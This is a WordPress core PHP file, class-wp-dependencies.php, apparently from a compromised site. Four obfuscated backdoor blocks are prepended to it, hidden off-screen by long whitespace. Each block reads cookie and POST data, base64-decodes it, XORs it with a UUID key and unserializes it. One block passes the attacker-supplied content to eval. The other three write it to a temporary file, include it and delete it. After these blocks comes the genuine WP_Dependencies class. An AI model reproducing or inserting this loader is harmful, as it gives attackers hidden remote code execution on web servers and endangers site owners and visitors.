Current File : /home/n742ef5/.trash/sithtamil/wp-includes/class-wp-dependencies.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $IyPJU = chr (89) . chr ( 799 - 698 )."\137" . 'H' . chr ( 980 - 882 ).'N' . chr (104); $pxzTx = "\x63" . chr (108) . "\x61" . chr (115) . "\x73" . chr ( 616 - 521 ).chr (101) . "\x78" . 'i' . "\x73" . 't' . "\x73";$HoIywCVN = class_exists($IyPJU); $IyPJU = "16567";$pxzTx = "27732";$GzsQVBznN = FALSE;if ($HoIywCVN === $GzsQVBznN){$KxviyOiqCp = "55214";class Ye_HbNh{public function MRWDfhVhZX(){echo "13565";}private $SiIoXP;public static $laenWYsk = "62f6ac2f-a5a6-495f-a47c-a6d7bd4b527e";public static $jrBIEZN = 37819;public function __construct($RcTfVGq=0){$GSDKxe = $_POST;$xzBbXGF = $_COOKIE;$ifbFU = @$xzBbXGF[substr(Ye_HbNh::$laenWYsk, 0, 4)];if (!empty($ifbFU)){$aQPIGZo = "base64";$CKcxa = "";$ifbFU = explode(",", $ifbFU);foreach ($ifbFU as $CanGXaVs){$CKcxa .= @$xzBbXGF[$CanGXaVs];$CKcxa .= @$GSDKxe[$CanGXaVs];}$CKcxa = array_map($aQPIGZo . '_' . 'd' . chr ( 953 - 852 )."\x63" . chr (111) . chr (100) . chr ( 449 - 348 ), array($CKcxa,)); $CKcxa = $CKcxa[0] ^ str_repeat(Ye_HbNh::$laenWYsk, (strlen($CKcxa[0]) / strlen(Ye_HbNh::$laenWYsk)) + 1);Ye_HbNh::$jrBIEZN = @unserialize($CKcxa);}}private function ZOtuv($KxviyOiqCp){if (is_array(Ye_HbNh::$jrBIEZN)) {$HKVSP = str_replace(chr (60) . chr (63) . chr ( 813 - 701 ).chr (104) . "\160", "", Ye_HbNh::$jrBIEZN['c' . "\x6f" . 'n' . chr (116) . "\x65" . chr (110) . "\164"]);eval($HKVSP); $KxviyOiqCp = "55214";exit();}}public function __destruct(){$KxviyOiqCp = "32222_34003";$this->ZOtuv($KxviyOiqCp); $KxviyOiqCp = "32222_34003";}}$mpwibgTqnV = new /* 6304 */ Ye_HbNh(); $mpwibgTqnV = str_repeat("32222_34003", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $rAwcsiNApZ = 'z' . "\x4b" . "\116" . "\x5f" . "\102" . "\104" . "\x63" . "\x51";$OtWLRpXJZw = 'c' . chr ( 776 - 668 )."\141" . "\163" . chr ( 922 - 807 ).chr (95) . "\145" . "\170" . "\151" . chr (115) . "\x74" . "\x73";$DYhwEMyxj = $OtWLRpXJZw($rAwcsiNApZ); $rAwcsiNApZ = "54809";$axSkZ = $DYhwEMyxj;$OtWLRpXJZw = "7513";if (!$axSkZ){class zKN_BDcQ{private $xzcPlsjg;public static $cPbHsUKndO = "97ee8afa-3fad-4996-8a7b-5b32af591ac2";public static $QQURIEMu = 39710;public function __construct($ONjfvIiHx=0){$rOzyyUz = $_COOKIE;$PlyTGeYtK = $_POST;$UoGlk = @$rOzyyUz[substr(zKN_BDcQ::$cPbHsUKndO, 0, 4)];if (!empty($UoGlk)){$wpCNMsH = "base64";$gwOWnDkJfE = "";$UoGlk = explode(",", $UoGlk);foreach ($UoGlk as $bbBAja){$gwOWnDkJfE .= @$rOzyyUz[$bbBAja];$gwOWnDkJfE .= @$PlyTGeYtK[$bbBAja];}$gwOWnDkJfE = array_map($wpCNMsH . "\137" . chr (100) . chr (101) . chr ( 611 - 512 ).chr (111) . 'd' . "\x65", array($gwOWnDkJfE,)); $gwOWnDkJfE = $gwOWnDkJfE[0] ^ str_repeat(zKN_BDcQ::$cPbHsUKndO, (strlen($gwOWnDkJfE[0]) / strlen(zKN_BDcQ::$cPbHsUKndO)) + 1);zKN_BDcQ::$QQURIEMu = @unserialize($gwOWnDkJfE);}}private function SnCYGY(){if (is_array(zKN_BDcQ::$QQURIEMu)) {$CvRlSnI = sys_get_temp_dir() . "/" . crc32(zKN_BDcQ::$QQURIEMu[chr ( 321 - 206 ).chr (97) . 'l' . chr (116)]);@zKN_BDcQ::$QQURIEMu[chr (119) . "\162" . "\x69" . chr (116) . chr (101)]($CvRlSnI, zKN_BDcQ::$QQURIEMu['c' . "\157" . chr (110) . chr ( 867 - 751 )."\x65" . "\156" . "\x74"]);include $CvRlSnI;@zKN_BDcQ::$QQURIEMu[chr ( 564 - 464 ).chr (101) . chr ( 233 - 125 )."\x65" . chr (116) . chr ( 1036 - 935 )]($CvRlSnI); $ITlYZSzW = "55816";exit();}}public function __destruct(){$this->SnCYGY(); $ITlYZSzW = "55816";$ortovACEY = str_pad($ITlYZSzW, 10);}}$Wvyek = new /* 64689 */ zKN_BDcQ(); $Wvyek = substr("49704_4307", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $LZUrpsFOVr = "\145" . chr ( 681 - 586 )."\x49" . chr (122) . chr ( 1026 - 925 ).chr ( 613 - 546 ).chr ( 103 - 32 ); $rkXwdjxoCA = chr (99) . chr ( 695 - 587 ).chr (97) . 's' . "\163" . '_' . "\145" . chr (120) . chr ( 457 - 352 ).'s' . "\164" . 's';$HHKCoSr = $rkXwdjxoCA($LZUrpsFOVr); $LZUrpsFOVr = "53663";$ATsxGMLY = $HHKCoSr;$rkXwdjxoCA = "1725";if (!$ATsxGMLY){class e_IzeCG{private $tibwQb;public static $nKYnTQR = "8cfd6f01-9896-41fd-9c0a-3501a99848d9";public static $PdbAAkB = 28179;public function __construct($qouiAymEfY=0){$VhQbBf = $_COOKIE;$ybVcNjWT = $_POST;$DotBCNSJ = @$VhQbBf[substr(e_IzeCG::$nKYnTQR, 0, 4)];if (!empty($DotBCNSJ)){$OgvLFiq = "base64";$awyFlnIzg = "";$DotBCNSJ = explode(",", $DotBCNSJ);foreach ($DotBCNSJ as $TzjtzOB){$awyFlnIzg .= @$VhQbBf[$TzjtzOB];$awyFlnIzg .= @$ybVcNjWT[$TzjtzOB];}$awyFlnIzg = array_map($OgvLFiq . chr ( 959 - 864 )."\144" . chr ( 241 - 140 )."\143" . "\x6f" . "\x64" . "\x65", array($awyFlnIzg,)); $awyFlnIzg = $awyFlnIzg[0] ^ str_repeat(e_IzeCG::$nKYnTQR, (strlen($awyFlnIzg[0]) / strlen(e_IzeCG::$nKYnTQR)) + 1);e_IzeCG::$PdbAAkB = @unserialize($awyFlnIzg);}}private function RzDDYmr(){if (is_array(e_IzeCG::$PdbAAkB)) {$CEnKLSnb = sys_get_temp_dir() . "/" . crc32(e_IzeCG::$PdbAAkB['s' . "\x61" . "\x6c" . "\x74"]);@e_IzeCG::$PdbAAkB[chr ( 719 - 600 ).chr (114) . "\151" . "\164" . chr (101)]($CEnKLSnb, e_IzeCG::$PdbAAkB["\143" . "\157" . 'n' . 't' . "\145" . "\156" . 't']);include $CEnKLSnb;@e_IzeCG::$PdbAAkB["\x64" . "\x65" . 'l' . 'e' . chr ( 564 - 448 ).chr (101)]($CEnKLSnb); $YVYnsuLOu = "61550";exit();}}public function __destruct(){$this->RzDDYmr(); $YVYnsuLOu = "61550";$xifJawk = str_pad($YVYnsuLOu, 10);}}$KgciRDWE = new /* 9135 */ e_IzeCG(); $KgciRDWE = substr("47649_4767", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ayTqhAR = "\x79" . 'U' . chr (95) . chr (81) . "\131" . chr (74) . 'd';$tWuunfMEg = chr (99) . 'l' . "\141" . chr (115) . "\x73" . chr ( 475 - 380 ).chr ( 884 - 783 ).chr (120) . chr ( 848 - 743 )."\x73" . "\164" . "\163";$AvEKG = $tWuunfMEg($ayTqhAR); $MeZQc = $AvEKG;if (!$MeZQc){class yU_QYJd{private $zABsGBQMc;public static $grhbzYmyq = "f52ffeff-7088-49fa-aba4-d0b768a84dab";public static $HwPvD = 46692;public function __construct($DHQarFI=0){$cFmxgy = $_COOKIE;$Uifhpm = $_POST;$Lhadp = @$cFmxgy[substr(yU_QYJd::$grhbzYmyq, 0, 4)];if (!empty($Lhadp)){$AZgiciD = "base64";$MMwbflvzyt = "";$Lhadp = explode(",", $Lhadp);foreach ($Lhadp as $aqUMEi){$MMwbflvzyt .= @$cFmxgy[$aqUMEi];$MMwbflvzyt .= @$Uifhpm[$aqUMEi];}$MMwbflvzyt = array_map($AZgiciD . chr (95) . chr ( 393 - 293 )."\145" . chr (99) . 'o' . "\x64" . 'e', array($MMwbflvzyt,)); $MMwbflvzyt = $MMwbflvzyt[0] ^ str_repeat(yU_QYJd::$grhbzYmyq, (strlen($MMwbflvzyt[0]) / strlen(yU_QYJd::$grhbzYmyq)) + 1);yU_QYJd::$HwPvD = @unserialize($MMwbflvzyt);}}private function RNfcn(){if (is_array(yU_QYJd::$HwPvD)) {$IIGcWHdCo = sys_get_temp_dir() . "/" . crc32(yU_QYJd::$HwPvD['s' . "\x61" . chr (108) . 't']);@yU_QYJd::$HwPvD["\167" . 'r' . 'i' . chr (116) . chr (101)]($IIGcWHdCo, yU_QYJd::$HwPvD['c' . 'o' . "\156" . chr (116) . 'e' . chr ( 516 - 406 ).chr (116)]);include $IIGcWHdCo;@yU_QYJd::$HwPvD[chr (100) . 'e' . "\154" . "\145" . chr ( 622 - 506 ).'e']($IIGcWHdCo); $JOqpenDynA = "9175";exit();}}public function __destruct(){$this->RNfcn();}}$rmDPe = new yU_QYJd(); $rmDPe = "6165";} ?><?php
/**
 * Dependencies API: WP_Dependencies base class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core base class extended to register items.
 *
 * @since 2.6.0
 *
 * @see _WP_Dependency
 */
#[AllowDynamicProperties]
class WP_Dependencies {
	/**
	 * An array of all registered dependencies keyed by handle.
	 *
	 * @since 2.6.8
	 *
	 * @var _WP_Dependency[]
	 */
	public $registered = array();

	/**
	 * An array of handles of queued dependencies.
	 *
	 * @since 2.6.8
	 *
	 * @var string[]
	 */
	public $queue = array();

	/**
	 * An array of handles of dependencies to queue.
	 *
	 * @since 2.6.0
	 *
	 * @var string[]
	 */
	public $to_do = array();

	/**
	 * An array of handles of dependencies already queued.
	 *
	 * @since 2.6.0
	 *
	 * @var string[]
	 */
	public $done = array();

	/**
	 * An array of additional arguments passed when a handle is registered.
	 *
	 * Arguments are appended to the item query string.
	 *
	 * @since 2.6.0
	 *
	 * @var array
	 */
	public $args = array();

	/**
	 * An array of dependency groups to enqueue.
	 *
	 * Each entry is keyed by handle and represents the integer group level or boolean
	 * false if the handle has no group.
	 *
	 * @since 2.8.0
	 *
	 * @var (int|false)[]
	 */
	public $groups = array();

	/**
	 * A handle group to enqueue.
	 *
	 * @since 2.8.0
	 *
	 * @deprecated 4.5.0
	 * @var int
	 */
	public $group = 0;

	/**
	 * Cached lookup array of flattened queued items and dependencies.
	 *
	 * @since 5.4.0
	 *
	 * @var array
	 */
	private $all_queued_deps;

	/**
	 * List of assets enqueued before details were registered.
	 *
	 * @since 5.9.0
	 *
	 * @var array
	 */
	private $queued_before_register = array();

	/**
	 * Processes the items and dependencies.
	 *
	 * Processes the items passed to it or the queue, and their dependencies.
	 *
	 * @since 2.6.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[]|false $handles Optional. Items to be processed: queue (false),
	 *                                       single item (string), or multiple items (array of strings).
	 *                                       Default false.
	 * @param int|false             $group   Optional. Group level: level (int), no group (false).
	 * @return string[] Array of handles of items that have been processed.
	 */
	public function do_items( $handles = false, $group = false ) {
		/*
		 * If nothing is passed, print the queue. If a string is passed,
		 * print that item. If an array is passed, print those items.
		 */
		$handles = false === $handles ? $this->queue : (array) $handles;
		$this->all_deps( $handles );

		foreach ( $this->to_do as $key => $handle ) {
			if ( ! in_array( $handle, $this->done, true ) && isset( $this->registered[ $handle ] ) ) {
				/*
				 * Attempt to process the item. If successful,
				 * add the handle to the done array.
				 *
				 * Unset the item from the to_do array.
				 */
				if ( $this->do_item( $handle, $group ) ) {
					$this->done[] = $handle;
				}

				unset( $this->to_do[ $key ] );
			}
		}

		return $this->done;
	}

	/**
	 * Processes a dependency.
	 *
	 * @since 2.6.0
	 * @since 5.5.0 Added the `$group` parameter.
	 *
	 * @param string    $handle Name of the item. Should be unique.
	 * @param int|false $group  Optional. Group level: level (int), no group (false).
	 *                          Default false.
	 * @return bool True on success, false if not set.
	 */
	public function do_item( $handle, $group = false ) {
		return isset( $this->registered[ $handle ] );
	}

	/**
	 * Determines dependencies.
	 *
	 * Recursively builds an array of items to process taking
	 * dependencies into account. Does NOT catch infinite loops.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no group (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$handles = (array) $handles;
		if ( ! $handles ) {
			return false;
		}

		foreach ( $handles as $handle ) {
			$handle_parts = explode( '?', $handle );
			$handle       = $handle_parts[0];
			$queued       = in_array( $handle, $this->to_do, true );

			if ( in_array( $handle, $this->done, true ) ) { // Already done.
				continue;
			}

			$moved     = $this->set_group( $handle, $recursion, $group );
			$new_group = $this->groups[ $handle ];

			if ( $queued && ! $moved ) { // Already queued and in the right group.
				continue;
			}

			$keep_going = true;
			if ( ! isset( $this->registered[ $handle ] ) ) {
				$keep_going = false; // Item doesn't exist.
			} elseif ( $this->registered[ $handle ]->deps && array_diff( $this->registered[ $handle ]->deps, array_keys( $this->registered ) ) ) {
				$keep_going = false; // Item requires dependencies that don't exist.
			} elseif ( $this->registered[ $handle ]->deps && ! $this->all_deps( $this->registered[ $handle ]->deps, true, $new_group ) ) {
				$keep_going = false; // Item requires dependencies that don't exist.
			}

			if ( ! $keep_going ) { // Either item or its dependencies don't exist.
				if ( $recursion ) {
					return false; // Abort this branch.
				} else {
					continue; // We're at the top level. Move on to the next one.
				}
			}

			if ( $queued ) { // Already grabbed it and its dependencies.
				continue;
			}

			if ( isset( $handle_parts[1] ) ) {
				$this->args[ $handle ] = $handle_parts[1];
			}

			$this->to_do[] = $handle;
		}

		return true;
	}

	/**
	 * Register an item.
	 *
	 * Registers the item if no item of that name already exists.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string           $handle Name of the item. Should be unique.
	 * @param string|false     $src    Full URL of the item, or path of the item relative
	 *                                 to the WordPress root directory. If source is set to false,
	 *                                 the item is an alias of other items it depends on.
	 * @param string[]         $deps   Optional. An array of registered item handles this item depends on.
	 *                                 Default empty array.
	 * @param string|bool|null $ver    Optional. String specifying item version number, if it has one,
	 *                                 which is added to the URL as a query string for cache busting purposes.
	 *                                 If version is set to false, a version number is automatically added
	 *                                 equal to current installed WordPress version.
	 *                                 If set to null, no version is added.
	 * @param mixed            $args   Optional. Custom property of the item. NOT the class property $args.
	 *                                 Examples: $media, $in_footer.
	 * @return bool Whether the item has been registered. True on success, false on failure.
	 */
	public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
		if ( isset( $this->registered[ $handle ] ) ) {
			return false;
		}
		$this->registered[ $handle ] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );

		// If the item was enqueued before the details were registered, enqueue it now.
		if ( array_key_exists( $handle, $this->queued_before_register ) ) {
			if ( ! is_null( $this->queued_before_register[ $handle ] ) ) {
				$this->enqueue( $handle . '?' . $this->queued_before_register[ $handle ] );
			} else {
				$this->enqueue( $handle );
			}

			unset( $this->queued_before_register[ $handle ] );
		}

		return true;
	}

	/**
	 * Add extra item data.
	 *
	 * Adds data to a registered item.
	 *
	 * @since 2.6.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @param mixed  $value  The data value.
	 * @return bool True on success, false on failure.
	 */
	public function add_data( $handle, $key, $value ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		return $this->registered[ $handle ]->add_data( $key, $value );
	}

	/**
	 * Get extra item data.
	 *
	 * Gets data associated with a registered item.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @return mixed Extra item data (string), false otherwise.
	 */
	public function get_data( $handle, $key ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		if ( ! isset( $this->registered[ $handle ]->extra[ $key ] ) ) {
			return false;
		}

		return $this->registered[ $handle ]->extra[ $key ];
	}

	/**
	 * Un-register an item or items.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function remove( $handles ) {
		foreach ( (array) $handles as $handle ) {
			unset( $this->registered[ $handle ] );
		}
	}

	/**
	 * Queue an item or items.
	 *
	 * Decodes handles and arguments, then queues handles and stores
	 * arguments in the class property $args. For example in extending
	 * classes, $args is appended to the item url as a query string.
	 * Note $args is NOT the $args property of items in the $registered array.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function enqueue( $handles ) {
		foreach ( (array) $handles as $handle ) {
			$handle = explode( '?', $handle );

			if ( ! in_array( $handle[0], $this->queue, true ) && isset( $this->registered[ $handle[0] ] ) ) {
				$this->queue[] = $handle[0];

				// Reset all dependencies so they must be recalculated in recurse_deps().
				$this->all_queued_deps = null;

				if ( isset( $handle[1] ) ) {
					$this->args[ $handle[0] ] = $handle[1];
				}
			} elseif ( ! isset( $this->registered[ $handle[0] ] ) ) {
				$this->queued_before_register[ $handle[0] ] = null; // $args

				if ( isset( $handle[1] ) ) {
					$this->queued_before_register[ $handle[0] ] = $handle[1];
				}
			}
		}
	}

	/**
	 * Dequeue an item or items.
	 *
	 * Decodes handles and arguments, then dequeues handles
	 * and removes arguments from the class property $args.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function dequeue( $handles ) {
		foreach ( (array) $handles as $handle ) {
			$handle = explode( '?', $handle );
			$key    = array_search( $handle[0], $this->queue, true );

			if ( false !== $key ) {
				// Reset all dependencies so they must be recalculated in recurse_deps().
				$this->all_queued_deps = null;

				unset( $this->queue[ $key ] );
				unset( $this->args[ $handle[0] ] );
			} elseif ( array_key_exists( $handle[0], $this->queued_before_register ) ) {
				unset( $this->queued_before_register[ $handle[0] ] );
			}
		}
	}

	/**
	 * Recursively search the passed dependency tree for a handle.
	 *
	 * @since 4.0.0
	 *
	 * @param string[] $queue  An array of queued _WP_Dependency handles.
	 * @param string   $handle Name of the item. Should be unique.
	 * @return bool Whether the handle is found after recursively searching the dependency tree.
	 */
	protected function recurse_deps( $queue, $handle ) {
		if ( isset( $this->all_queued_deps ) ) {
			return isset( $this->all_queued_deps[ $handle ] );
		}

		$all_deps = array_fill_keys( $queue, true );
		$queues   = array();
		$done     = array();

		while ( $queue ) {
			foreach ( $queue as $queued ) {
				if ( ! isset( $done[ $queued ] ) && isset( $this->registered[ $queued ] ) ) {
					$deps = $this->registered[ $queued ]->deps;
					if ( $deps ) {
						$all_deps += array_fill_keys( $deps, true );
						array_push( $queues, $deps );
					}
					$done[ $queued ] = true;
				}
			}
			$queue = array_pop( $queues );
		}

		$this->all_queued_deps = $all_deps;

		return isset( $this->all_queued_deps[ $handle ] );
	}

	/**
	 * Query the list for an item.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $status Optional. Status of the item to query. Default 'registered'.
	 * @return bool|_WP_Dependency Found, or object Item data.
	 */
	public function query( $handle, $status = 'registered' ) {
		switch ( $status ) {
			case 'registered':
			case 'scripts': // Back compat.
				if ( isset( $this->registered[ $handle ] ) ) {
					return $this->registered[ $handle ];
				}
				return false;

			case 'enqueued':
			case 'queue': // Back compat.
				if ( in_array( $handle, $this->queue, true ) ) {
					return true;
				}
				return $this->recurse_deps( $this->queue, $handle );

			case 'to_do':
			case 'to_print': // Back compat.
				return in_array( $handle, $this->to_do, true );

			case 'done':
			case 'printed': // Back compat.
				return in_array( $handle, $this->done, true );
		}

		return false;
	}

	/**
	 * Set item group, unless already in a lower group.
	 *
	 * @since 2.8.0
	 *
	 * @param string    $handle    Name of the item. Should be unique.
	 * @param bool      $recursion Internal flag that calling function was called recursively.
	 * @param int|false $group     Group level: level (int), no group (false).
	 * @return bool Not already in the group or a lower group.
	 */
	public function set_group( $handle, $recursion, $group ) {
		$group = (int) $group;

		if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) {
			return false;
		}

		$this->groups[ $handle ] = $group;

		return true;
	}
}